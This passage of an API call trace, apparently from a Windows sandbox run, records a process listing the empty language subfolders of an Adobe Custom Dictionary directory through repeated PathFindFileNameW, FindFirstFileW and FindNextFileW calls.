hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.051] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.051] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.051] PathFindFileNameW (pszPath="") returned="" [0128.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.051] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.051] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.051] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.051] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.051] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0128.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.052] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.052] PathFindFileNameW (pszPath="") returned="" [0128.052] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.052] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.052] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.052] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.052] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.052] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0128.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.053] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.053] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.053] PathFindFileNameW (pszPath="") returned="" [0128.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.053] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.053] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.053] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.053] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.053] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.054] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.054] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.054] PathFindFileNameW (pszPath="") returned="" [0128.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.054] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.054] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.054] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.054] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.054] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.055] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.055] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.055] PathFindFileNameW (pszPath="") returned="" [0128.055] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.055] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.056] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.056] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.056] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.056] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.056] PathFindFileNameW (pszPath="") returned="" [0128.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.056] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.056] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.056] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.057] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.057] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.057] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.057] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.057] PathFindFileNameW (pszPath="") returned="" [0128.057] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.058] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.058] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.058] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.058] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.058] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") 